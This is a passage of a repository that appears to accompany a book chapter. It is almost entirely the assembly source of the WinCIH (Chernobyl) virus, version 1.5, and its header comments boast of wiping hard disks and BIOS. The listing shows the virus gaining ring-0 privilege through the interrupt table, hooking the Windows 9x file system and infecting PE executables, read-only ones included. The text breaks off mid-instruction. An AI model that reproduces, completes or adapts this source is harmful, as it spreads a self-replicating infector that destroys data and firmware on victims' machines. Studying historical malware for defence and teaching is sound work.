├── Ch_17 └── WinCIH.asm ├── LICENSE └── README.md /Ch_17/WinCIH.asm: -------------------------------------------------------------------------------- 1 | ; **************************************************************************** 2 | ; * The Virus Program Information * 3 | ; **************************************************************************** 4 | ; * * 5 | ; * Designer : CIH Source : TTIT of TATUNG in Taiwan * 6 | ; * Create Date : 04/26/1998 E-mail : WinCIH.Tatung@usa.net * 7 | ; * Modification Time : 06/01/1998 Version : 1.5 * 8 | ; * * 9 | ; * Turbo Assembler Version 5.0 : Tasm /m cih * 10 | ; * Turbo Link Version 5.01 : Tlink /3 /t cih, cih.exe * 11 | ; * * 12 | ; *==========================================================================* 13 | ; * Modification History * 14 | ; *==========================================================================* 15 | ; * v1.0 1. Create the Virus Program. * 16 | ; * 2. The Virus Modifies IDT to Get Ring0 Privilege. * 17 | ; * 04/26/1998 3. Virus Code doesn't Reload into System. * 18 | ; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. * 19 | ; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. * 20 | ; * 6. When System Opens Existing PE File, the File will be * 21 | ; * Infected, and the File doesn't be Reinfected. * 22 | ; * 7. It is also Infected, even the File is Read-Only. * 23 | ; * 8. When the File is Infected, the Modification Date and Time * 24 | ; * of the File also don't be Changed. * 25 | ; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call * 26 | ; * Previous FileSystemApiHook, it will Call the Function * 27 | ; * that the IFS Manager Would Normally Call to Implement * 28 | ; * this Particular I/O Request. * 29 | ; * 10. The Virus Size is only 656 Bytes. * 30 | ; *==========================================================================* 31 | ; * v1.1 1. Especially, the File that be Infected will not Increase * 32 | ; * it's Size... ^__^ * 33 | ; * 05/15/1998 2. Hook and Modify Structured Exception Handing. * 34 | ; * When Exception Error Occurs, Our OS System should be in * 35 | ; * Windows NT. So My Cute Virus will not Continue to Run, * 36 | ; * it will Jmup to Original Application to Run. * 37 | ; * 3. Use Better Algorithm, Reduce Virus Code Size. * 38 | ; * 4. The Virus "Basic" Size is only 796 Bytes. * 39 | ; *==========================================================================* 40 | ; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... * 41 | ; * 2. Modify the Bug of v1.1 * 42 | ; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. * 43 | ; *==========================================================================* 44 | ; * v1.3 1. Modify the Bug that WinZip Self-Extractor Occurs Error. * 45 | ; * So When Open WinZip Self-Extractor ==> Don't Infect it. * 46 | ; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes. * 47 | ; *==========================================================================* 48 | ; * v1.4 1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. * 49 | ; * 2. Change the Date of Killing Computers. * 50 | ; * 05/31/1998 3. Modify Virus Version Copyright. * 51 | ; * 4. The Virus "Basic" Size is 1019 Bytes. * 52 | ; **************************************************************************** 53 | ; * v1.5 1. Full Modify the Bug : Change Harddisk Killing Port * 54 | ; * 2. Modify Virus Version Copyright. * 55 | ; * 06/01/1998 3. Clear Garbage in Source Code. * 56 | ; * 4. The Virus "Small" Size in 10xx Bytes. * 57 | ; **************************************************************************** 58 | 59 | .586 60 | 61 | ; **************************************************************************** 62 | ; * Original PE Executable File(Don't Modify this Section) * 63 | ; **************************************************************************** 64 | 65 | OriginalAppEXE SEGMENT 66 | 67 | FileHeader: 68 | db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h 69 | db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h 70 | db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 71 | db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 72 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 73 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 74 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 75 | db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h 76 | db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh 77 | db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h 78 | db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h 79 | db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh 80 | db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh 81 | db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h 82 | db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah 83 | db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 84 | db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h 85 | db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h 86 | db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h 87 | db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h 88 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 89 | db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h 90 | db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h 91 | db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h 92 | db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 93 | db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 94 | db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h 95 | db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h 96 | db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h 97 | db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h 98 | db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h 99 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 100 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 101 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 102 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 103 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 104 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 105 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 106 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 107 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 108 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 109 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 110 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 111 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 112 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 113 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 114 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 115 | db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h 116 | db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h 117 | db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h 118 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 119 | db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h 120 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 121 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 122 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 123 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 124 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 125 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 126 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 127 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 128 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 129 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 130 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 131 | db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 132 | db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 133 | dd 00000000h, VirusSize 134 | 135 | OriginalAppEXE ENDS 136 | 137 | ; **************************************************************************** 138 | ; * My Virus Game * 139 | ; **************************************************************************** 140 | 141 | ; ********************************************************* 142 | ; * Constant Define * 143 | ; ********************************************************* 144 | 145 | TRUE = 1 146 | FALSE = 0 147 | 148 | DEBUG = TRUE 149 | 150 | IF DEBUG 151 | 152 | FirstKillHardDiskNumber = 82h 153 | HookExceptionNumber = 06h 154 | 155 | ELSE 156 | 157 | FirstKillHardDiskNumber = 81h 158 | HookExceptionNumber = 04h 159 | 160 | ENDIF 161 | 162 | 163 | FileNameBufferSize = 7fh 164 | 165 | ; ********************************************************* 166 | ; ********************************************************* 167 | 168 | VirusGame SEGMENT 169 | 170 | ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame 171 | ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame 172 | 173 | ; ********************************************************* 174 | ; * Ring3 Virus Game Initial Program * 175 | ; ********************************************************* 176 | 177 | MyVirusStart: 178 | push ebp 179 | 180 | ; ************************************* 181 | ; * Let's Modify Structured Exception * 182 | ; * Handing, Prevent Exception Error * 183 | ; * Occurrence, Especially in NT. * 184 | ; ************************************* 185 | 186 | lea eax, [esp-04h*2] 187 | xor ebx, ebx 188 | xchg eax, fs:[ebx] 189 | call @0 190 | @0: 191 | pop ebx 192 | lea ecx, StopToRunVirusCode-@0[ebx] 193 | push ecx 194 | push eax 195 | 196 | ; ************************************* 197 | ; * Let's Modify * 198 | ; * IDT(Interrupt Descriptor Table) * 199 | ; * to Get Ring0 Privilege... * 200 | ; ************************************* 201 | 202 | push eax ; 203 | sidt [esp-02h] ; Get IDT Base Address 204 | pop ebx ; 205 | add ebx, HookExceptionNumber*08h+04h ; ZF = 0 206 | cli 207 | mov ebp, [ebx] ; Get Exception Base 208 | mov bp, [ebx-04h] ; Entry Point 209 | lea esi, MyExceptionHook-@1[ecx] 210 | push esi 211 | mov [ebx-04h], si ; 212 | shr esi, 16 ; Modify Exception 213 | mov [ebx+02h], si ; Entry Point Address 214 | pop esi 215 | 216 | ; ************************************* 217 | ; * Generate Exception to Get Ring0 * 218 | ; ************************************* 219 | 220 | int HookExceptionNumber ; GenerateException 221 | ReturnAddressOfEndException = $ 222 | 223 | ; ************************************* 224 | ; * Merge All Virus Code Section * 225 | ; ************************************* 226 | 227 | push esi 228 | mov esi, eax 229 | 230 | LoopOfMergeAllVirusCodeSection: 231 | 232 | mov ecx, [eax-04h] 233 | rep movsb 234 | sub eax, 08h 235 | mov esi, [eax] 236 | or esi, esi 237 | jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 238 | jmp LoopOfMergeAllVirusCodeSection 239 | 240 | QuitLoopOfMergeAllVirusCodeSection: 241 | 242 | pop esi 243 | 244 | ; ************************************* 245 | ; * Generate Exception Again * 246 | ; ************************************* 247 | 248 | int HookExceptionNumber ; GenerateException Again 249 | 250 | ; ************************************* 251 | ; * Let's Restore * 252 | ; * Structured Exception Handing * 253 | ; ************************************* 254 | 255 | ReadyRestoreSE: 256 | sti 257 | xor ebx, ebx 258 | jmp RestoreSE 259 | 260 | ; ************************************* 261 | ; * When Exception Error Occurs, * 262 | ; * Our OS System should be in NT. * 263 | ; * So My Cute Virus will not * 264 | ; * Continue to Run, it Jmups to * 265 | ; * Original Application to Run. * 266 | ; ************************************* 267 | 268 | StopToRunVirusCode: 269 | @1 = StopToRunVirusCode 270 | 271 | xor ebx, ebx 272 | mov eax, fs:[ebx] 273 | mov esp, [eax] 274 | 275 | RestoreSE: 276 | pop dword ptr fs:[ebx] 277 | pop eax 278 | 279 | ; ************************************* 280 | ; * Return Original App to Execute * 281 | ; ************************************* 282 | 283 | pop ebp 284 | push 00401000h ; Push Original 285 | OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack 286 | ret ; Return to Original App Entry Point 287 | 288 | ; ********************************************************* 289 | ; * Ring0 Virus Game Initial Program * 290 | ; ********************************************************* 291 | 292 | MyExceptionHook: 293 | @2 = MyExceptionHook 294 | jz InstallMyFileSystemApiHook 295 | 296 | ; ************************************* 297 | ; * Do My Virus Exist in System !? * 298 | ; ************************************* 299 | 300 | mov ecx, dr0 301 | jecxz AllocateSystemMemoryPage 302 | add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException 303 | 304 | ; ************************************* 305 | ; * Return to Ring3 Initial Program * 306 | ; ************************************* 307 | 308 | ExitRing0Init: 309 | mov [ebx-04h], bp ; 310 | shr ebp, 16 ; Restore Exception 311 | mov [ebx+02h], bp ; 312 | iretd 313 | 314 | ; ************************************* 315 | ; * Allocate SystemMemory Page to Use * 316 | ; ************************************* 317 | 318 | AllocateSystemMemoryPage: 319 | 320 | mov dr0, ebx ; Set the Mark of My Virus Exist in System 321 | push 00000000fh ; 322 | push ecx ; 323 | push 0ffffffffh ; 324 | push ecx ; 325 | push ecx ; 326 | push ecx ; 327 | push 000000001h ; 328 | push 000000002h ; 329 | int 20h ; VMMCALL _PageAllocate 330 | _PageAllocate = $ ; 331 | dd 00010053h ; Use EAX, ECX, EDX, and flags 332 | add esp, 08h*04h 333 | xchg edi, eax ; EDI = SystemMemory Start Address 334 | lea eax, MyVirusStart-@2[esi] 335 | iretd ; Return to Ring3 Initial Program 336 | 337 | ; ************************************* 338 | ; * Install My File System Api Hook * 339 | ; ************************************* 340 | 341 | InstallMyFileSystemApiHook: 342 | 343 | lea eax, FileSystemApiHook-@6[edi] 344 | 345 | push eax ; 346 | int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook 347 | IFSMgr_InstallFileSystemApiHook = $ 348 | dd 00400067h ; Use EAX, ECX, EDX, and flags 349 | mov dr0, eax ; Save OldFileSystemApiHook Address 350 | pop eax ; EAX = FileSystemApiHook Address 351 | ; Save Old IFSMgr_InstallFileSystemApiHook Entry Point 352 | mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] 353 | mov edx, [ecx] 354 | mov OldInstallFileSystemApiHook-@3[eax], edx 355 | ; Modify IFSMgr_InstallFileSystemApiHook Entry Point 356 | lea eax, InstallFileSystemApiHook-@3[eax] 357 | mov [ecx], eax 358 | cli 359 | jmp ExitRing0Init 360 | 361 | ; ********************************************************* 362 | ; * Code Size of Merge Virus Code Section * 363 | ; ********************************************************* 364 | 365 | CodeSizeOfMergeVirusCodeSection = offset $ 366 | 367 | ; ********************************************************* 368 | ; * IFSMgr_InstallFileSystemApiHook * 369 | ; ********************************************************* 370 | 371 | InstallFileSystemApiHook: 372 | push ebx 373 | call @4 ; 374 | @4: ; 375 | pop ebx ; mov ebx, offset FileSystemApiHook 376 | add ebx, FileSystemApiHook-@4 ; 377 | push ebx 378 | int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook 379 | IFSMgr_RemoveFileSystemApiHook = $ 380 | dd 00400068h ; Use EAX, ECX, EDX, and flags 381 | pop eax 382 | ; Call Original IFSMgr_InstallFileSystemApiHook 383 | ; to Link Client FileSystemApiHook 384 | push dword ptr [esp+8] 385 | call OldInstallFileSystemApiHook-@3[ebx] 386 | pop ecx 387 | push eax 388 | ; Call Original IFSMgr_InstallFileSystemApiHook 389 | ; to Link My FileSystemApiHook 390 | push ebx 391 | call OldInstallFileSystemApiHook-@3[ebx] 392 | pop ecx 393 | mov dr0, eax ; Adjust OldFileSystemApiHook Address 394 | pop eax 395 | pop ebx 396 | ret 397 | 398 | ; ********************************************************* 399 | ; * Static Data * 400 | ; ********************************************************* 401 | 402 | OldInstallFileSystemApiHook dd ? 403 | 404 | ; ********************************************************* 405 | ; * IFSMgr_FileSystemHook * 406 | ; ********************************************************* 407 | 408 | ; ************************************* 409 | ; * IFSMgr_FileSystemHook Entry Point * 410 | ; ************************************* 411 | 412 | FileSystemApiHook: 413 | @3 = FileSystemApiHook 414 | 415 | pushad 416 | call @5 ; 417 | @5: ; 418 | pop esi ; mov esi, offset VirusGameDataStartAddress 419 | add esi, VirusGameDataStartAddress-@5 420 | 421 | ; ************************************* 422 | ; * Is OnBusy !? * 423 | ; ************************************* 424 | 425 | test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy ) 426 | jnz pIFSFunc ; goto pIFSFunc 427 | 428 | ; ************************************* 429 | ; * Is OpenFile !? * 430 | ; ************************************* 431 | 432 | ; if ( NotOpenFile ) 433 | ; goto prevhook 434 | lea ebx, [esp+20h+04h+04h] 435 | cmp dword ptr [ebx], 00000024h 436 | jne prevhook 437 | 438 | ; ************************************* 439 | ; * Enable OnBusy * 440 | ; ************************************* 441 | 442 | inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy 443 | 444 | ; ************************************* 445 | ; * Get FilePath's DriveNumber, * 446 | ; * then Set the DriveName to * 447 | ; * FileNameBuffer. * 448 | ; ************************************* 449 | ; * Ex. If DriveNumber is 03h, * 450 | ; * DriveName is 'C:'. * 451 | ; ************************************* 452 | 453 | add esi, FileNameBuffer-@6 454 | push esi 455 | mov al, [ebx+04h] 456 | cmp al, 0ffh 457 | je CallUniToBCSPath 458 | add al, 40h 459 | mov ah, ':' 460 | mov [esi], eax 461 | inc esi 462 | inc esi 463 | 464 | ; ************************************* 465 | ; * UniToBCSPath * 466 | ; ************************************* 467 | ; * This Service Converts * 468 | ; * a Canonicalized Unicode Pathname * 469 | ; * to a Normal Pathname in the * 470 | ; * Specified BCS Character Set. * 471 | ; ************************************* 472 | 473 | CallUniToBCSPath: 474 | push 00000000h 475 | push FileNameBufferSize 476 | mov ebx, [ebx+10h] 477 | mov eax, [ebx+0ch] 478 | add eax, 04h 479 | push eax 480 | push esi 481 | int 20h ; VXDCall UniToBCSPath 482 | UniToBCSPath = $ 483 | dd 00400041h 484 | add esp, 04h*04h 485 | 486 | ; ************************************* 487 | ; * Is FileName '.EXE' !? * 488 | ; ************************************* 489 | 490 | cmp [esi+eax-04h], 'EXE.' 491 | pop esi 492 | jne DisableOnBusy 493 | 494 | IF DEBUG 495 | 496 | ; ************************************* 497 | ; * Only for Debug * 498 | ; ************************************* 499 | 500 | cmp [esi+eax-06h], 'KCUF' 501 | jne DisableOnBusy 502 | 503 | ENDIF 504 | 505 | ; ************************************* 506 | ; * Is Open Existing File !? * 507 | ; ************************************* 508 | 509 | ; if ( NotOpenExistingFile ) 510 | ; goto DisableOnBusy 511 | cmp word ptr [ebx+18h], 01h 512 | jne DisableOnBusy 513 | 514 | ; ************************************* 515 | ; * Get Attributes of the File * 516 | ; ************************************* 517 | 518 | mov ax, 4300h 519 | int 20h ; VXDCall IFSMgr_Ring0_FileIO 520 | IFSMgr_Ring0_FileIO = $ 521 | dd 00400032h 522 | jc DisableOnBusy 523 | push ecx 524 | 525 | ; ************************************* 526 | ; * Get IFSMgr_Ring0_FileIO Address * 527 | ; ************************************* 528 | 529 | mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi] 530 | mov edi, [edi] 531 | 532 | ; ************************************* 533 | ; * Is Read-Only File !? * 534 | ; ************************************* 535 | 536 | test cl, 01h 537 | jz OpenFile 538 | 539 | ; ************************************* 540 | ; * Modify Read-Only File to Write * 541 | ; ************************************* 542 | 543 | mov ax, 4301h 544 | xor ecx, ecx 545 | call edi ; VXDCall IFSMgr_Ring0_FileIO 546 | 547 | ; ************************************* 548 | ; * Open File * 549 | ; ************************************* 550 | 551 | OpenFile: 552 | xor eax, eax 553 | mov ah, 0d5h 554 | xor ecx, ecx 555 | xor edx, edx 556 | inc edx 557 | mov ebx, edx 558 | inc ebx 559 | call edi ; VXDCall IFSMgr_Ring0_FileIO 560 | xchg ebx, eax ; mov ebx, FileHandle 561 | 562 | ; ************************************* 563 | ; * Need to Restore * 564 | ; * Attributes of the File !? * 565 | ; ************************************* 566 | 567 | pop ecx 568 | pushf 569 | test cl, 01h 570 | jz IsOpenFileOK 571 | 572 | ; ************************************* 573 | ; * Restore Attributes of the File * 574 | ; ************************************* 575 | 576 | mov ax, 4301h 577 | call edi ; VXDCall IFSMgr_Ring0_FileIO 578 | 579 | ; ************************************* 580 | ; * Is Open File OK !? * 581 | ; ************************************* 582 | 583 | IsOpenFileOK: 584 | popf 585 | jc DisableOnBusy 586 | 587 | ; ************************************* 588 | ; * Open File Already Succeed. ^__^ * 589 | ; ************************************* 590 | 591 | push esi ; Push FileNameBuffer Address to Stack 592 | 593 | pushf ; Now CF = 0, Push Flag to Stack 594 | 595 | add esi, DataBuffer-@7 ; mov esi, offset DataBuffer 596 | 597 | ; *************************** 598 | ; * Get OffsetToNewHeader * 599 | ; *************************** 600 | 601 | xor eax, eax 602 | mov ah, 0d6h 603 | ; For Doing Minimal VirusCode's Length, 604 | ; I Save EAX to EBP. 605 | mov ebp, eax 606 | push 00000004h 607 | pop ecx 608 | push 0000003ch 609 | pop edx 610 | call edi ; VXDCall IFSMgr_Ring0_FileIO 611 | mov edx, [esi] 612 | 613 | ; *************************** 614 | ; * Get 'PE\0' Signature * 615 | ; * of ImageFileHeader, and * 616 | ; * Infected Mark. * 617 | ; *************************** 618 | 619 | dec edx 620 | mov eax, ebp 621 | call edi ; VXDCall IFSMgr_Ring0_FileIO 622 | 623 | ; *************************** 624 | ; * Is PE !? * 625 | ; *************************** 626 | ; * Is the File * 627 | ; * Already Infected !? * 628 | ; *************************** 629 | ; * WinZip Self-Extractor * 630 | ; * doesn't Have Infected * 631 | ; * Mark Because My Virus * 632 | ; * doesn't Infect it. * 633 | ; *************************** 634 | 635 | cmp dword ptr [esi], 00455000h 636 | jne CloseFile 637 | 638 | ; ************************************* 639 | ; * The File is ^o^ * 640 | ; * PE(Portable Executable) indeed. * 641 | ; ************************************* 642 | ; * The File isn't also Infected. * 643 | ; ************************************* 644 | 645 | ; ************************************* 646 | ; * Start to Infect the File * 647 | ; ************************************* 648 | ; * Registers Use Status Now : * 649 | ; * * 650 | ; * EAX = 04h * 651 | ; * EBX = File Handle * 652 | ; * ECX = 04h * 653 | ; * EDX = 'PE\0\0' Signature of * 654 | ; * ImageFileHeader Pointer's * 655 | ; * Former Byte. * 656 | ; * ESI = DataBuffer Address ==> @8 * 657 | ; * EDI = IFSMgr_Ring0_FileIO Address * 658 | ; * EBP = D600h ==> Read Data in File * 659 | ; ************************************* 660 | ; * Stack Dump : * 661 | ; * * 662 | ; * ESP => ------------------------- * 663 | ; * | EFLAG(CF=0) | * 664 | ; * ------------------------- * 665 | ; * | FileNameBufferPointer | * 666 | ; * ------------------------- * 667 | ; * | EDI | * 668 | ; * ------------------------- * 669 | ; * | ESI | * 670 | ; * ------------------------- * 671 | ; * | EBP | * 672 | ; * ------------------------- * 673 | ; * | ESP | * 674 | ; * ------------------------- * 675 | ; * | EBX | * 676 | ; * ------------------------- * 677 | ; * | EDX | * 678 | ; * ------------------------- * 679 | ; * | ECX | * 680 | ; * ------------------------- * 681 | ; * | EAX | * 682 | ; * ------------------------- * 683 | ; * | Return Address | * 684 | ; * ------------------------- * 685 | ; ************************************* 686 | 687 | push ebx ; Save File Handle 688 | push 00h ; Set VirusCodeSectionTableEndMark 689 | 690 | ; *************************** 691 | ; * Let's Set the * 692 | ; * Virus' Infected Mark * 693 | ; *************************** 694 | 695 | push 01h ; Size 696 | push edx ; Pointer of File 697 | push edi ; Address of Buffer 698 | 699 | ; *************************** 700 | ; * Save ESP Register * 701 | ; *************************** 702 | 703 | mov dr1, esp 704 | 705 | ; *************************** 706 | ; * Let's Set the * 707 | ; * NewAddressOfEntryPoint * 708 | ; * ( Only First Set Size ) * 709 | ; *************************** 710 | 711 | push eax ; Size 712 | 713 | ; *************************** 714 | ; * Let's Read * 715 | ; * Image Header in File * 716 | ; *************************** 717 | 718 | mov eax, ebp 719 | mov cl, SizeOfImageHeaderToRead 720 | add edx, 07h ; Move EDX to NumberOfSections 721 | call edi ; VXDCall IFSMgr_Ring0_FileIO 722 | 723 | ; *************************** 724 | ; * Let's Set the * 725 | ; * NewAddressOfEntryPoint * 726 | ; * ( Set Pointer of File, * 727 | ; * Address of Buffer ) * 728 | ; *************************** 729 | 730 | lea eax, (AddressOfEntryPoint-@8)[edx] 731 | push eax ; Pointer of File 732 | lea eax, (NewAddressOfEntryPoint-@8)[esi] 733 | push eax ; Address of Buffer 734 | 735 | ; *************************** 736 | ; * Move EDX to the Start * 737 | ; * of SectionTable in File * 738 | ; *************************** 739 | 740 | movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi] 741 | lea edx, [eax+edx+12h] 742 | 743 | ; *************************** 744 | ; * Let's Get * 745 | ; * Total Size of Sections * 746 | ; *************************** 747 | 748 | mov al, SizeOfScetionTable 749 | ; I Assume NumberOfSections <= 0ffh 750 | mov cl, (NumberOfSections-@8)[esi] 751 | mul cl 752 | 753 | ; *************************** 754 | ; * Let's Set Section Table * 755 | ; *************************** 756 | 757 | ; Move ESI to the Start of SectionTable 758 | lea esi, (StartOfSectionTable-@8)[esi] 759 | push eax ; Size 760 | push edx ; Pointer of File 761 | push esi ; Address of Buffer 762 | 763 | ; *************************** 764 | ; * The Code Size of Merge * 765 | ; * Virus Code Section and * 766 | ; * Total Size of Virus * 767 | ; * Code Section Table Must * 768 | ; * be Small or Equal the * 769 | ; * Unused Space Size of * 770 | ; * Following Section Table * 771 | ; *************************** 772 | 773 | inc ecx 774 | push ecx ; Save NumberOfSections+1 775 | shl ecx, 03h 776 | push ecx ; Save TotalSizeOfVirusCodeSectionTable 777 | 778 | add ecx, eax 779 | add ecx, edx 780 | sub ecx, (SizeOfHeaders-@9)[esi] 781 | not ecx 782 | inc ecx 783 | ; Save My Virus First Section Code 784 | ; Size of Following Section Table... 785 | ; ( Not Include the Size of Virus Code Section Table ) 786 | push ecx 787 | xchg ecx, eax ; ECX = Size of Section Table 788 | ; Save Original Address of Entry Point 789 | mov eax, (AddressOfEntryPoint-@9)[esi] 790 | add eax, (ImageBase-@9)[esi] 791 | mov (OriginalAddressOfEntryPoint-@9)[esi], eax 792 | cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection 793 | jl OnlySetInfectedMark 794 | 795 | ; *************************** 796 | ; * Read All Section Tables * 797 | ; *************************** 798 | 799 | mov eax, ebp 800 | call edi ; VXDCall IFSMgr_Ring0_FileIO 801 | 802 | ; *************************** 803 | ; * Full Modify the Bug : * 804 | ; * WinZip Self-Extractor * 805 | ; * Occurs Error... * 806 | ; *************************** 807 | ; * So When User Opens * 808 | ; * WinZip Self-Extractor, * 809 | ; * Virus Doesn't Infect it.* 810 | ; *************************** 811 | ; * First, Virus Gets the * 812 | ; * PointerToRawData in the * 813 | ; * Second Section Table, * 814 | ; * Reads the Section Data, * 815 | ; * and Tests the String of * 816 | ; * 'WinZip(R)'...... * 817 | ; *************************** 818 | 819 | xchg eax, ebp 820 | push 00000004h 821 | pop ecx 822 | push edx 823 | mov edx, (SizeOfScetionTable+PointerToRawData-@9)[esi] 824 | add edx, 12h 825 | call edi ; VXDCall IFSMgr_Ring0_FileIO 826 | cmp dword ptr [esi], 'piZniW' 827 | je NotSetInfectedMark 828 | pop edx 829 | 830 | ; *************************** 831 | ; * Let's Set Total Virus * 832 | ; * Code Section Table * 833 | ; *************************** 834 | 835 | ; EBX = My Virus First Section Code 836 | ; Size of Following Section Table 837 | pop ebx 838 | pop edi ; EDI = TotalSizeOfVirusCodeSectionTable 839 | pop ecx ; ECX = NumberOfSections+1 840 | push edi ; Size 841 | add edx, ebp 842 | push edx ; Pointer of File 843 | add ebp, esi 844 | push ebp ; Address of Buffer 845 | 846 | ; *************************** 847 | ; * Set the First Virus * 848 | ; * Code Section Size in * 849 | ; * VirusCodeSectionTable * 850 | ; *************************** 851 | 852 | lea eax, [ebp+edi-04h] 853 | mov [eax], ebx 854 | 855 | ; *************************** 856 | ; * Let's Set My Virus * 857 | ; * First Section Code * 858 | ; *************************** 859 | 860 | push ebx ; Size 861 | add edx, edi 862 | push edx ; Pointer of File 863 | lea edi, (MyVirusStart-@9)[esi] 864 | push edi ; Address of Buffer 865 | 866 | ; *************************** 867 | ; * Let's Modify the * 868 | ; * AddressOfEntryPoint to * 869 | ; * My Virus Entry Point * 870 | ; *************************** 871 | 872 | mov (NewAddressOfEntryPoint-@9)[esi], edx 873 | 874 | ; *************************** 875 | ; * Setup Initial Data * 876 | ; *************************** 877 | 878 | lea edx, [esi-SizeOfScetionTable] 879 | mov ebp, offset VirusSize 880 | jmp StartToWriteCodeToSections 881 | 882 | ; *************************** 883 | ; * Write Code to Sections * 884 | ; *************************** 885 | 886 | LoopOfWriteCodeToSections: 887 | 888 | add edx, SizeOfScetionTable 889 | mov ebx, (SizeOfRawData-@9)[edx] 890 | sub ebx, (VirtualSize-@9)[edx] 891 | jbe EndOfWriteCodeToSections 892 | push ebx ; Size 893 | sub eax, 08h 894 | mov [eax], ebx 895 | mov ebx, (PointerToRawData-@9)[edx] 896 | add ebx, (VirtualSize-@9)[edx] 897 | push ebx ; Pointer of File 898 | push edi ; Address of Buffer 899 | mov ebx, (VirtualSize-@9)[edx] 900 | add ebx, (VirtualAddress-@9)[edx] 901 | add ebx, (ImageBase-@9)[esi] 902 | mov [eax+4], ebx 903 | mov ebx, [eax] 904 | add (VirtualSize-@9)[edx], ebx 905 | 906 | ; Section contains initialized data ==> 00000040h 907 | ; Section can be Read. ==> 40000000h 908 | or (Characteristics-@9)[edx], 40000040h 909 | 910 | StartToWriteCodeToSections: 911 | 912 | sub ebp, ebx 913 | jbe SetVirusCodeSectionTableEndMark 914 | add edi, ebx ; Move Address of Buffer 915 | 916 | EndOfWriteCodeToSections: 917 | 918 | loop LoopOfWriteCodeToSections 919 | 920 | ; *************************** 921 | ; * Only Set Infected Mark * 922 | ; *************************** 923 | 924 | OnlySetInfectedMark: 925 | mov esp, dr1 926 | jmp 